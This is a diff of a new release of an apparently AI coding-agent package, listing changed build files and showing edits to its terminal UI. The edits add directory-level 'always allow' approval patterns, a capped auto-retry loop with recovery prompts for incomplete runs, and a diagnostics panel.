- package/dist/src/integrations/tasks/dependency-analyzer.js +232 -0
- package/dist/src/integrations/tasks/dependency-analyzer.js.map +1 -0
- package/dist/src/integrations/tasks/interactive-planning.d.ts +322 -0
- package/dist/src/integrations/tasks/interactive-planning.d.ts.map +1 -0
- package/dist/src/integrations/tasks/interactive-planning.js +655 -0
- package/dist/src/integrations/tasks/interactive-planning.js.map +1 -0
- package/dist/src/integrations/tasks/pending-plan.d.ts +196 -0
- package/dist/src/integrations/tasks/pending-plan.d.ts.map +1 -0
- package/dist/src/integrations/tasks/pending-plan.js +431 -0
- package/dist/src/integrations/tasks/pending-plan.js.map +1 -0
- package/dist/src/integrations/tasks/planning.d.ts +115 -0
- package/dist/src/integrations/tasks/planning.d.ts.map +1 -0
- package/dist/src/integrations/tasks/planning.js +413 -0
- package/dist/src/integrations/tasks/planning.js.map +1 -0
- package/dist/src/integrations/tasks/smart-decomposer.d.ts +316 -0
- package/dist/src/integrations/tasks/smart-decomposer.d.ts.map +1 -0
- package/dist/src/integrations/tasks/smart-decomposer.js +661 -0
- package/dist/src/integrations/tasks/smart-decomposer.js.map +1 -0
- package/dist/src/integrations/tasks/task-manager.d.ts +164 -0
- package/dist/src/integrations/tasks/task-manager.d.ts.map +1 -0
- package/dist/src/integrations/tasks/task-manager.js +383 -0
- package/dist/src/integrations/tasks/task-manager.js.map +1 -0
- package/dist/src/integrations/tasks/task-splitter.d.ts +56 -0
- package/dist/src/integrations/tasks/task-splitter.d.ts.map +1 -0
- package/dist/src/integrations/tasks/task-splitter.js +537 -0
- package/dist/src/integrations/tasks/task-splitter.js.map +1 -0
- package/dist/src/integrations/tasks/verification-gate.d.ts +103 -0
- package/dist/src/integrations/tasks/verification-gate.d.ts.map +1 -0
- package/dist/src/integrations/tasks/verification-gate.js +193 -0
- package/dist/src/integrations/tasks/verification-gate.js.map +1 -0
- package/dist/src/integrations/tasks/work-log.d.ts +87 -0
- package/dist/src/integrations/tasks/work-log.d.ts.map +1 -0
- package/dist/src/integrations/tasks/work-log.js +275 -0
- package/dist/src/integrations/tasks/work-log.js.map +1 -0
- package/dist/src/integrations/utilities/capabilities.d.ts +160 -0
- package/dist/src/integrations/utilities/capabilities.d.ts.map +1 -0
- package/dist/src/integrations/utilities/capabilities.js +426 -0
- package/dist/src/integrations/utilities/capabilities.js.map +1 -0
- package/dist/src/integrations/utilities/diff-utils.d.ts +105 -0
- package/dist/src/integrations/utilities/diff-utils.d.ts.map +1 -0
- package/dist/src/integrations/utilities/diff-utils.js +497 -0
- package/dist/src/integrations/utilities/diff-utils.js.map +1 -0
- package/dist/src/integrations/utilities/environment-facts.d.ts +52 -0
- package/dist/src/integrations/utilities/environment-facts.d.ts.map +1 -0
- package/dist/src/integrations/utilities/environment-facts.js +84 -0
- package/dist/src/integrations/utilities/environment-facts.js.map +1 -0
- package/dist/src/integrations/utilities/file-change-tracker.d.ts +162 -0
- package/dist/src/integrations/utilities/file-change-tracker.d.ts.map +1 -0
- package/dist/src/integrations/utilities/file-change-tracker.js +538 -0
- package/dist/src/integrations/utilities/file-change-tracker.js.map +1 -0
- package/dist/src/integrations/utilities/graph-visualization.d.ts +72 -0
- package/dist/src/integrations/utilities/graph-visualization.d.ts.map +1 -0
- package/dist/src/integrations/utilities/graph-visualization.js +383 -0
- package/dist/src/integrations/utilities/graph-visualization.js.map +1 -0
- package/dist/src/integrations/utilities/hierarchical-config.d.ts +215 -0
- package/dist/src/integrations/utilities/hierarchical-config.d.ts.map +1 -0
- package/dist/src/integrations/utilities/hierarchical-config.js +504 -0
- package/dist/src/integrations/utilities/hierarchical-config.js.map +1 -0
- package/dist/src/integrations/utilities/hooks.d.ts +116 -0
- package/dist/src/integrations/utilities/hooks.d.ts.map +1 -0
- package/dist/src/integrations/utilities/hooks.js +410 -0
- package/dist/src/integrations/utilities/hooks.js.map +1 -0
- package/dist/src/integrations/utilities/ignore.d.ts +143 -0
- package/dist/src/integrations/utilities/ignore.d.ts.map +1 -0
- package/dist/src/integrations/utilities/ignore.js +417 -0
- package/dist/src/integrations/utilities/ignore.js.map +1 -0
- package/dist/src/integrations/utilities/image-renderer.d.ts +119 -0
- package/dist/src/integrations/utilities/image-renderer.d.ts.map +1 -0
- package/dist/src/integrations/utilities/image-renderer.js +306 -0
- package/dist/src/integrations/utilities/image-renderer.js.map +1 -0
- package/dist/src/integrations/utilities/logger.d.ts +104 -0
- package/dist/src/integrations/utilities/logger.d.ts.map +1 -0
- package/dist/src/integrations/utilities/logger.js +219 -0
- package/dist/src/integrations/utilities/logger.js.map +1 -0
- package/dist/src/integrations/utilities/memory.d.ts +116 -0
- package/dist/src/integrations/utilities/memory.d.ts.map +1 -0
- package/dist/src/integrations/utilities/memory.js +311 -0
- package/dist/src/integrations/utilities/memory.js.map +1 -0
- package/dist/src/integrations/utilities/observability.d.ts +162 -0
- package/dist/src/integrations/utilities/observability.d.ts.map +1 -0
- package/dist/src/integrations/utilities/observability.js +407 -0
- package/dist/src/integrations/utilities/observability.js.map +1 -0
- package/dist/src/integrations/utilities/openrouter-pricing.d.ts +67 -0
- package/dist/src/integrations/utilities/openrouter-pricing.d.ts.map +1 -0
- package/dist/src/integrations/utilities/openrouter-pricing.js +166 -0
- package/dist/src/integrations/utilities/openrouter-pricing.js.map +1 -0
- package/dist/src/integrations/utilities/react.d.ts +139 -0
- package/dist/src/integrations/utilities/react.d.ts.map +1 -0
- package/dist/src/integrations/utilities/react.js +273 -0
- package/dist/src/integrations/utilities/react.js.map +1 -0
- package/dist/src/integrations/utilities/retry.d.ts +132 -0
- package/dist/src/integrations/utilities/retry.d.ts.map +1 -0
- package/dist/src/integrations/utilities/retry.js +233 -0
- package/dist/src/integrations/utilities/retry.js.map +1 -0
- package/dist/src/integrations/utilities/routing.d.ts +118 -0
- package/dist/src/integrations/utilities/routing.d.ts.map +1 -0
- package/dist/src/integrations/utilities/routing.js +348 -0
- package/dist/src/integrations/utilities/routing.js.map +1 -0
- package/dist/src/integrations/utilities/rules.d.ts +131 -0
- package/dist/src/integrations/utilities/rules.d.ts.map +1 -0
- package/dist/src/integrations/utilities/rules.js +284 -0
- package/dist/src/integrations/utilities/rules.js.map +1 -0
- package/dist/src/integrations/utilities/sourcegraph.d.ts +169 -0
- package/dist/src/integrations/utilities/sourcegraph.d.ts.map +1 -0
- package/dist/src/integrations/utilities/sourcegraph.js +379 -0
- package/dist/src/integrations/utilities/sourcegraph.js.map +1 -0
- package/dist/src/integrations/utilities/thinking-strategy.d.ts +52 -0
- package/dist/src/integrations/utilities/thinking-strategy.d.ts.map +1 -0
- package/dist/src/integrations/utilities/thinking-strategy.js +129 -0
- package/dist/src/integrations/utilities/thinking-strategy.js.map +1 -0
- package/dist/src/integrations/utilities/thread-manager.d.ts +199 -0
- package/dist/src/integrations/utilities/thread-manager.d.ts.map +1 -0
- package/dist/src/integrations/utilities/thread-manager.js +357 -0
- package/dist/src/integrations/utilities/thread-manager.js.map +1 -0
- package/dist/src/integrations/utilities/token-estimate.d.ts +11 -0
- package/dist/src/integrations/utilities/token-estimate.d.ts.map +1 -0
- package/dist/src/integrations/utilities/token-estimate.js +14 -0
- package/dist/src/integrations/utilities/token-estimate.js.map +1 -0
- package/dist/src/main.js +92 -35
- package/dist/src/main.js.map +1 -1
- package/dist/src/modes/repl.d.ts.map +1 -1
- package/dist/src/modes/repl.js +60 -11
- package/dist/src/modes/repl.js.map +1 -1
- package/dist/src/modes/tui.d.ts.map +1 -1
- package/dist/src/modes/tui.js +57 -10
- package/dist/src/modes/tui.js.map +1 -1
- package/dist/src/modes.js +1 -1
- package/dist/src/modes.js.map +1 -1
- package/dist/src/observability/tracer.d.ts.map +1 -1
- package/dist/src/observability/tracer.js +2 -1
- package/dist/src/observability/tracer.js.map +1 -1
- package/dist/src/persistence/schema.d.ts +2 -0
- package/dist/src/persistence/schema.d.ts.map +1 -1
- package/dist/src/persistence/schema.js +42 -0
- package/dist/src/persistence/schema.js.map +1 -1
- package/dist/src/providers/adapters/anthropic.d.ts +6 -0
- package/dist/src/providers/adapters/anthropic.d.ts.map +1 -1
- package/dist/src/providers/adapters/anthropic.js +101 -16
- package/dist/src/providers/adapters/anthropic.js.map +1 -1
- package/dist/src/providers/adapters/azure.d.ts +74 -0
- package/dist/src/providers/adapters/azure.d.ts.map +1 -0
- package/dist/src/providers/adapters/azure.js +354 -0
- package/dist/src/providers/adapters/azure.js.map +1 -0
- package/dist/src/providers/adapters/mock.d.ts +16 -2
- package/dist/src/providers/adapters/mock.d.ts.map +1 -1
- package/dist/src/providers/adapters/mock.js +44 -3
- package/dist/src/providers/adapters/mock.js.map +1 -1
- package/dist/src/providers/adapters/openai.d.ts +6 -1
- package/dist/src/providers/adapters/openai.d.ts.map +1 -1
- package/dist/src/providers/adapters/openai.js +41 -9
- package/dist/src/providers/adapters/openai.js.map +1 -1
- package/dist/src/providers/adapters/openrouter.d.ts +6 -0
- package/dist/src/providers/adapters/openrouter.d.ts.map +1 -1
- package/dist/src/providers/adapters/openrouter.js +83 -13
- package/dist/src/providers/adapters/openrouter.js.map +1 -1
- package/dist/src/providers/circuit-breaker.d.ts +1 -0
- package/dist/src/providers/circuit-breaker.d.ts.map +1 -1
- package/dist/src/providers/circuit-breaker.js.map +1 -1
- package/dist/src/providers/provider.d.ts.map +1 -1
- package/dist/src/providers/provider.js +2 -1
- package/dist/src/providers/provider.js.map +1 -1
- package/dist/src/providers/resilient-provider.d.ts.map +1 -1
- package/dist/src/providers/resilient-provider.js +2 -1
- package/dist/src/providers/resilient-provider.js.map +1 -1
- package/dist/src/providers/types.d.ts +23 -2
- package/dist/src/providers/types.d.ts.map +1 -1
- package/dist/src/session-picker.d.ts +1 -1
- package/dist/src/session-picker.d.ts.map +1 -1
- package/dist/src/session-picker.js +40 -5
- package/dist/src/session-picker.js.map +1 -1
- package/dist/src/shared/budget-tracker.d.ts +65 -0
- package/dist/src/shared/budget-tracker.d.ts.map +1 -0
- package/dist/src/shared/budget-tracker.js +128 -0
- package/dist/src/shared/budget-tracker.js.map +1 -0
- package/dist/src/shared/context-engine.d.ts +64 -0
- package/dist/src/shared/context-engine.d.ts.map +1 -0
- package/dist/src/shared/context-engine.js +117 -0
- package/dist/src/shared/context-engine.js.map +1 -0
- package/dist/src/shared/index.d.ts +12 -0
- package/dist/src/shared/index.d.ts.map +1 -0
- package/dist/src/shared/index.js +12 -0
- package/dist/src/shared/index.js.map +1 -0
- package/dist/src/shared/persistence.d.ts +57 -0
- package/dist/src/shared/persistence.d.ts.map +1 -0
- package/dist/src/shared/persistence.js +168 -0
- package/dist/src/shared/persistence.js.map +1 -0
- package/dist/src/shared/shared-context-state.d.ts +89 -0
- package/dist/src/shared/shared-context-state.d.ts.map +1 -0
- package/dist/src/shared/shared-context-state.js +175 -0
- package/dist/src/shared/shared-context-state.js.map +1 -0
- package/dist/src/shared/shared-economics-state.d.ts +61 -0
- package/dist/src/shared/shared-economics-state.d.ts.map +1 -0
- package/dist/src/shared/shared-economics-state.js +100 -0
- package/dist/src/shared/shared-economics-state.js.map +1 -0
- package/dist/src/tools/agent.d.ts +1 -1
- package/dist/src/tools/agent.d.ts.map +1 -1
- package/dist/src/tools/bash.d.ts +3 -3
- package/dist/src/tools/bash.d.ts.map +1 -1
- package/dist/src/tools/bash.js +2 -1
- package/dist/src/tools/bash.js.map +1 -1
- package/dist/src/tools/file.d.ts +3 -3
- package/dist/src/tools/file.js +1 -1
- package/dist/src/tools/file.js.map +1 -1
- package/dist/src/tools/permission.d.ts.map +1 -1
- package/dist/src/tools/permission.js +7 -6
- package/dist/src/tools/permission.js.map +1 -1
- package/dist/src/tools/registry.d.ts +1 -1
- package/dist/src/tools/registry.d.ts.map +1 -1
- package/dist/src/tools/registry.js +1 -1
- package/dist/src/tools/registry.js.map +1 -1
- package/dist/src/tools/tasks.d.ts +1 -1
- package/dist/src/tools/tasks.d.ts.map +1 -1
- package/dist/src/tools/types.d.ts +1 -0
- package/dist/src/tools/types.d.ts.map +1 -1
- package/dist/src/tools/types.js.map +1 -1
- package/dist/src/tools/undo.d.ts +1 -1
- package/dist/src/tools/undo.d.ts.map +1 -1
- package/dist/src/tracing/cache-boundary-tracker.d.ts.map +1 -1
- package/dist/src/tracing/cache-boundary-tracker.js +2 -2
- package/dist/src/tracing/cache-boundary-tracker.js.map +1 -1
- package/dist/src/tracing/trace-collector.d.ts +147 -0
- package/dist/src/tracing/trace-collector.d.ts.map +1 -1
- package/dist/src/tracing/trace-collector.js +138 -7
- package/dist/src/tracing/trace-collector.js.map +1 -1
- package/dist/src/tracing/types.d.ts +112 -1
- package/dist/src/tracing/types.d.ts.map +1 -1
- package/dist/src/tracing/types.js.map +1 -1
- package/dist/src/tricks/failure-evidence.d.ts.map +1 -1
- package/dist/src/tricks/failure-evidence.js +2 -1
- package/dist/src/tricks/failure-evidence.js.map +1 -1
- package/dist/src/tricks/recitation.d.ts.map +1 -1
- package/dist/src/tricks/recitation.js +2 -1
- package/dist/src/tricks/recitation.js.map +1 -1
- package/dist/src/tricks/recursive-context.d.ts.map +1 -1
- package/dist/src/tricks/recursive-context.js +2 -2
- package/dist/src/tricks/recursive-context.js.map +1 -1
- package/dist/src/tricks/reversible-compaction.d.ts.map +1 -1
- package/dist/src/tricks/reversible-compaction.js +6 -2
- package/dist/src/tricks/reversible-compaction.js.map +1 -1
- package/dist/src/tui/app.d.ts +16 -3
- package/dist/src/tui/app.d.ts.map +1 -1
- package/dist/src/tui/app.js +211 -25
- package/dist/src/tui/app.js.map +1 -1
- package/dist/src/tui/components/CollapsibleDiffView.d.ts +1 -1
- package/dist/src/tui/components/CollapsibleDiffView.d.ts.map +1 -1
- package/dist/src/tui/components/DiagnosticsPanel.d.ts +24 -0
- package/dist/src/tui/components/DiagnosticsPanel.d.ts.map +1 -0
- package/dist/src/tui/components/DiagnosticsPanel.js +47 -0
- package/dist/src/tui/components/DiagnosticsPanel.js.map +1 -0
- package/dist/src/tui/components/DiffView.d.ts +1 -1
- package/dist/src/tui/components/DiffView.d.ts.map +1 -1
- package/dist/src/tui/components/ErrorBoundary.d.ts.map +1 -1
- package/dist/src/tui/components/ErrorBoundary.js +3 -2
- package/dist/src/tui/components/ErrorBoundary.js.map +1 -1
- package/dist/src/tui/components/TasksPanel.d.ts +1 -1
- package/dist/src/tui/components/TasksPanel.d.ts.map +1 -1
- package/dist/src/tui/event-display.d.ts.map +1 -1
- package/dist/src/tui/event-display.js +36 -62
- package/dist/src/tui/event-display.js.map +1 -1
- package/dist/src/tui/index.d.ts +4 -0
- package/dist/src/tui/index.d.ts.map +1 -1
- package/dist/src/tui/index.js +17 -0
- package/dist/src/tui/index.js.map +1 -1
- package/dist/src/tui/transparency-aggregator.d.ts +13 -0
- package/dist/src/tui/transparency-aggregator.d.ts.map +1 -1
- package/dist/src/tui/transparency-aggregator.js +21 -0
- package/dist/src/tui/transparency-aggregator.js.map +1 -1
- package/dist/src/types.d.ts +170 -3
- package/dist/src/types.d.ts.map +1 -1
- package/package.json +18 -3
package/dist/src/tui/app.d.ts
CHANGED
|
@@ -8,10 +8,11 @@
|
|
|
8
8
|
* - Custom memo comparator (only re-render on visual prop changes)
|
|
9
9
|
*/
|
|
10
10
|
import type { ProductionAgent } from '../agent.js';
|
|
11
|
-
import type { SQLiteStore } from '../integrations/sqlite-store.js';
|
|
12
|
-
import type { MCPClient } from '../integrations/mcp-client.js';
|
|
13
|
-
import type { Compactor } from '../integrations/compaction.js';
|
|
11
|
+
import type { SQLiteStore } from '../integrations/persistence/sqlite-store.js';
|
|
12
|
+
import type { MCPClient } from '../integrations/mcp/mcp-client.js';
|
|
13
|
+
import type { Compactor } from '../integrations/context/compaction.js';
|
|
14
14
|
import type { TUIApprovalBridge } from '../adapters.js';
|
|
15
|
+
import type { AgentResult } from '../types.js';
|
|
15
16
|
/** Props for the main TUI application */
|
|
16
17
|
export interface TUIAppProps {
|
|
17
18
|
agent: ProductionAgent;
|
|
@@ -37,6 +38,18 @@ export interface TUIAppProps {
|
|
|
37
38
|
/** Approval bridge for TUI permission dialogs (optional) */
|
|
38
39
|
approvalBridge?: TUIApprovalBridge;
|
|
39
40
|
}
|
|
41
|
+
export interface AutoLoopAgent {
|
|
42
|
+
run: (task: string) => Promise<AgentResult>;
|
|
43
|
+
getResilienceConfig?: () => unknown;
|
|
44
|
+
}
|
|
45
|
+
export declare function runWithIncompleteAutoLoop(agent: AutoLoopAgent, task: string, callbacks?: {
|
|
46
|
+
onRetry?: (attempt: number, maxAttempts: number) => void;
|
|
47
|
+
}): Promise<{
|
|
48
|
+
result: AgentResult;
|
|
49
|
+
autoLoopRuns: number;
|
|
50
|
+
reasonChain: string[];
|
|
51
|
+
maxIncompleteAutoLoops: number;
|
|
52
|
+
}>;
|
|
40
53
|
export declare function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager, theme, model, gitBranch, currentSessionId, formatSessionsTable, saveCheckpointToStore, persistenceDebug, approvalBridge, }: TUIAppProps): import("react/jsx-runtime").JSX.Element;
|
|
41
54
|
export default TUIApp;
|
|
42
55
|
//# sourceMappingURL=app.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"app.d.ts","sourceRoot":"","sources":["../../../src/tui/app.tsx"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;
|
|
1
|
+
{"version":3,"file":"app.d.ts","sourceRoot":"","sources":["../../../src/tui/app.tsx"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAcH,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,aAAa,CAAC;AACnD,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,6CAA6C,CAAC;AAC/E,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mCAAmC,CAAC;AACnE,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,uCAAuC,CAAC;AAKvE,OAAO,KAAK,EAAE,iBAAiB,EAAE,MAAM,gBAAgB,CAAC;AAQxD,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,aAAa,CAAC;AAiD/C,yCAAyC;AACzC,MAAM,WAAW,WAAW;IAC1B,KAAK,EAAE,eAAe,CAAC;IACvB,YAAY,EAAE,WAAW,CAAC;IAC1B,SAAS,EAAE,SAAS,CAAC;IACrB,SAAS,EAAE,SAAS,CAAC;IACrB,UAAU,EAAE;QAAE,OAAO,EAAE,MAAM,OAAO,CAAC,IAAI,CAAC,CAAC;QAAC,gBAAgB,EAAE,MAAM,MAAM,EAAE,CAAA;KAAE,CAAC;IAC/E,KAAK,EAAE,MAAM,CAAC;IACd,KAAK,EAAE,MAAM,CAAC;IACd,SAAS,EAAE,MAAM,CAAC;IAClB,gBAAgB,EAAE,MAAM,CAAC;IACzB,mBAAmB,EAAE,CAAC,QAAQ,EAAE,GAAG,EAAE,KAAK,MAAM,CAAC;IACjD,qBAAqB,EAAE,CAAC,KAAK,EAAE,GAAG,EAAE,IAAI,EAAE,GAAG,KAAK,IAAI,CAAC;IACvD,gBAAgB,EAAE,CAAC,KAAK,EAAE,GAAG,EAAE,EAAE,EAAE,MAAM,KAAK,OAAO,CAAC,GAAG,CAAC,CAAC;IAC3D,gBAAgB,EAAE;QAChB,SAAS,EAAE,MAAM,OAAO,CAAC;QACzB,GAAG,EAAE,CAAC,OAAO,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,GAAG,KAAK,IAAI,CAAC;QAC3C,KAAK,EAAE,CAAC,OAAO,EAAE,MAAM,EAAE,KAAK,CAAC,EAAE,GAAG,KAAK,IAAI,CAAC;KAC/C,CAAC;IACF,4DAA4D;IAC5D,cAAc,CAAC,EAAE,iBAAiB,CAAC;CACpC;AAwCD,MAAM,WAAW,aAAa;IAC5B,GAAG,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,OAAO,CAAC,WAAW,CAAC,CAAC;IAC5C,mBAAmB,CAAC,EAAE,MAAM,OAAO,CAAC;CACrC;AAED,wBAAsB,yBAAyB,CAC7C,KAAK,EAAE,aAAa,EACpB,IAAI,EAAE,MAAM,EACZ,SAAS,CAAC,EAAE;IAAE,OAAO,CAAC,EAAE,CAAC,OAAO,EAAE,MAAM,EAAE,WAAW,EAAE,MAAM,KAAK,IAAI,CAAA;CAAE,GACvE,OAAO,CAAC;IAAE,MAAM,EAAE,WAAW,CAAC;IAAC,YAAY,EAAE,MAAM,CAAC;IAAC,WAAW,EAAE,MAAM,EAAE,CAAC;IAAC,sBAAsB,EAAE,MAAM,CAAA;CAAE,CAAC,CAuD/G;AAwaD,wBAAgB,MAAM,CAAC,EACrB,KAAK,EACL,YAAY,EACZ,SAAS,EACT,SAAS,EACT,UAAU,EACV,KAAK,EACL,KAAK,EACL,SAAS,EACT,gBAAgB,EAChB,mBAAmB,EACnB,qBAAqB,EACrB,gBAAgB,EAChB,cAAc,GACf,EAAE,WAAW,2CA0pEb;AAED,eAAe,MAAM,CAAC"}
|
package/dist/src/tui/app.js
CHANGED
|
@@ -15,6 +15,9 @@ import { TasksPanel } from './components/TasksPanel.js';
|
|
|
15
15
|
import { SwarmStatusPanel } from './components/SwarmStatusPanel.js';
|
|
16
16
|
import { ToolCallItem } from './components/ToolCallItem.js';
|
|
17
17
|
import { DebugPanel, useDebugBuffer } from './components/DebugPanel.js';
|
|
18
|
+
import { DiagnosticsPanel } from './components/DiagnosticsPanel.js';
|
|
19
|
+
import { runTypeCheck, getASTCacheStats } from '../integrations/index.js';
|
|
20
|
+
import { estimateTokenCount } from '../integrations/utilities/token-estimate.js';
|
|
18
21
|
import { getTheme, getThemeNames } from './theme/index.js';
|
|
19
22
|
import { ControlledCommandPalette } from './input/CommandPalette.js';
|
|
20
23
|
import { ApprovalDialog } from './components/ApprovalDialog.js';
|
|
@@ -22,7 +25,7 @@ import { TransparencyAggregator } from './transparency-aggregator.js';
|
|
|
22
25
|
import { handleSkillsCommand } from '../commands/skills-commands.js';
|
|
23
26
|
import { handleAgentsCommand } from '../commands/agents-commands.js';
|
|
24
27
|
import { handleInitCommand } from '../commands/init-commands.js';
|
|
25
|
-
import { createHistoryManager } from '../integrations/history.js';
|
|
28
|
+
import { createHistoryManager } from '../integrations/persistence/history.js';
|
|
26
29
|
// =============================================================================
|
|
27
30
|
// PATTERN GENERATION FOR ALWAYS-ALLOW
|
|
28
31
|
// =============================================================================
|
|
@@ -49,12 +52,80 @@ function generateApprovalPattern(request) {
|
|
|
49
52
|
}
|
|
50
53
|
if (['write_file', 'edit_file', 'read_file'].includes(tool)) {
|
|
51
54
|
const path = (args.path || args.file_path || '');
|
|
55
|
+
// For write/edit: use directory-level patterns so "Always" covers the whole subtree
|
|
56
|
+
// e.g. write_file:src/api/ instead of write_file:src/api/routes.ts
|
|
57
|
+
if ((tool === 'write_file' || tool === 'edit_file') && path.includes('/')) {
|
|
58
|
+
const dir = path.substring(0, path.lastIndexOf('/') + 1);
|
|
59
|
+
return `${tool}:${dir}`;
|
|
60
|
+
}
|
|
52
61
|
return `${tool}:${path}`;
|
|
53
62
|
}
|
|
54
63
|
// Default: tool + first string argument
|
|
55
64
|
const firstStringArg = Object.values(args).find(v => typeof v === 'string');
|
|
56
65
|
return `${tool}:${firstStringArg || ''}`;
|
|
57
66
|
}
|
|
67
|
+
function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
|
|
68
|
+
// For open_tasks / budget_limit: the agent ran out of budget but has pending tasks
|
|
69
|
+
if (reason === 'open_tasks' || reason === 'budget_limit') {
|
|
70
|
+
const taskSummary = openTasks
|
|
71
|
+
? `Open tasks: ${openTasks.pending} pending, ${openTasks.inProgress} in_progress, ${openTasks.blocked} blocked.`
|
|
72
|
+
: '';
|
|
73
|
+
return [
|
|
74
|
+
'[System] Previous run ended with incomplete tasks due to budget limits.',
|
|
75
|
+
taskSummary,
|
|
76
|
+
'Continue working on the remaining tasks. Pick up the next available task and execute it.',
|
|
77
|
+
details ? `Context: ${details}` : '',
|
|
78
|
+
].filter(Boolean).join('\n');
|
|
79
|
+
}
|
|
80
|
+
if (promptStyle === 'concise') {
|
|
81
|
+
return `[System] Continue now and execute required actions immediately. Avoid future-intent phrasing. ${details ? `Context: ${details}` : ''}`.trim();
|
|
82
|
+
}
|
|
83
|
+
return [
|
|
84
|
+
'[System] Previous run ended as incomplete because the response described pending work.',
|
|
85
|
+
'Continue from current state and execute the remaining action now with tools if needed.',
|
|
86
|
+
'Do not describe what you will do next. Either perform the action or provide a final completion statement.',
|
|
87
|
+
details ? `Context: ${details}` : '',
|
|
88
|
+
].filter(Boolean).join('\n');
|
|
89
|
+
}
|
|
90
|
+
export async function runWithIncompleteAutoLoop(agent, task, callbacks) {
|
|
91
|
+
const resilienceCfgRaw = agent.getResilienceConfig?.();
|
|
92
|
+
const resilienceCfg = resilienceCfgRaw && typeof resilienceCfgRaw === 'object'
|
|
93
|
+
? resilienceCfgRaw
|
|
94
|
+
: {};
|
|
95
|
+
const incompleteAutoLoop = resilienceCfg.incompleteActionAutoLoop ?? true;
|
|
96
|
+
const maxIncompleteAutoLoops = resilienceCfg.maxIncompleteAutoLoops ?? 2;
|
|
97
|
+
const promptStyle = resilienceCfg.autoLoopPromptStyle ?? 'strict';
|
|
98
|
+
let result = await agent.run(task);
|
|
99
|
+
const reasonChain = [result.completion.reason];
|
|
100
|
+
let autoLoopRuns = 0;
|
|
101
|
+
const isRetryableReason = (reason) => reason === 'future_intent'
|
|
102
|
+
|| reason === 'incomplete_action'
|
|
103
|
+
|| reason === 'open_tasks'
|
|
104
|
+
|| reason === 'budget_limit';
|
|
105
|
+
while (!result.success
|
|
106
|
+
&& incompleteAutoLoop
|
|
107
|
+
&& isRetryableReason(result.completion.reason)
|
|
108
|
+
&& autoLoopRuns < maxIncompleteAutoLoops) {
|
|
109
|
+
autoLoopRuns++;
|
|
110
|
+
callbacks?.onRetry?.(autoLoopRuns, maxIncompleteAutoLoops);
|
|
111
|
+
const recoveryPrompt = buildAutoLoopPrompt(result.completion.details, promptStyle, result.completion.reason, result.completion.openTasks);
|
|
112
|
+
result = await agent.run(recoveryPrompt);
|
|
113
|
+
reasonChain.push(result.completion.reason);
|
|
114
|
+
}
|
|
115
|
+
result = {
|
|
116
|
+
...result,
|
|
117
|
+
completion: {
|
|
118
|
+
...result.completion,
|
|
119
|
+
recovery: {
|
|
120
|
+
intraRunRetries: result.completion.recovery?.intraRunRetries ?? 0,
|
|
121
|
+
autoLoopRuns,
|
|
122
|
+
terminal: !result.success,
|
|
123
|
+
reasonChain,
|
|
124
|
+
},
|
|
125
|
+
},
|
|
126
|
+
};
|
|
127
|
+
return { result, autoLoopRuns, reasonChain, maxIncompleteAutoLoops };
|
|
128
|
+
}
|
|
58
129
|
const MessageItem = memo(function MessageItem({ msg, colors }) {
|
|
59
130
|
const isUser = msg.role === 'user';
|
|
60
131
|
const isAssistant = msg.role === 'assistant';
|
|
@@ -64,7 +135,7 @@ const MessageItem = memo(function MessageItem({ msg, colors }) {
|
|
|
64
135
|
const label = isUser ? 'You' : isAssistant ? 'Assistant' : isError ? 'Error' : 'System';
|
|
65
136
|
return (_jsxs(Box, { marginBottom: 1, flexDirection: "column", children: [_jsxs(Box, { gap: 1, children: [_jsx(Text, { color: roleColor, bold: true, children: icon }), _jsx(Text, { color: roleColor, bold: true, children: label }), _jsx(Text, { color: colors.textMuted, dimColor: true, children: ` ${msg.ts.toLocaleTimeString('en-US', { hour: '2-digit', minute: '2-digit' })}` })] }), _jsx(Box, { marginLeft: 2, children: _jsx(Text, { wrap: "wrap", color: isError ? colors.error : colors.text, children: msg.content }) })] }));
|
|
66
137
|
});
|
|
67
|
-
const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled, borderColor, textColor, cursorColor, onCtrlC, onCtrlL, onCtrlP, onEscape, onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onPageUp, onPageDown, onHome, onEnd, commandPaletteOpen, onCommandPaletteInput, approvalDialogOpen, approvalDenyReasonMode, onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason, onApprovalCancelDenyReason, onApprovalDenyReasonInput, history = [], onHistorySearch, }) {
|
|
138
|
+
const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled, borderColor, textColor, cursorColor, onCtrlC, onCtrlL, onCtrlP, onEscape, onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics, onPageUp, onPageDown, onHome, onEnd, commandPaletteOpen, onCommandPaletteInput, approvalDialogOpen, approvalDenyReasonMode, onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason, onApprovalCancelDenyReason, onApprovalDenyReasonInput, history = [], onHistorySearch, }) {
|
|
68
139
|
const [value, setValue] = useState('');
|
|
69
140
|
const [cursorPos, setCursorPos] = useState(0);
|
|
70
141
|
// History navigation state
|
|
@@ -75,7 +146,7 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
|
|
|
75
146
|
// Store callbacks in refs so useInput doesn't re-subscribe on prop changes
|
|
76
147
|
const callbacksRef = useRef({
|
|
77
148
|
onSubmit, onCtrlC, onCtrlL, onCtrlP, onEscape,
|
|
78
|
-
onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm,
|
|
149
|
+
onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics,
|
|
79
150
|
onPageUp, onPageDown, onHome, onEnd,
|
|
80
151
|
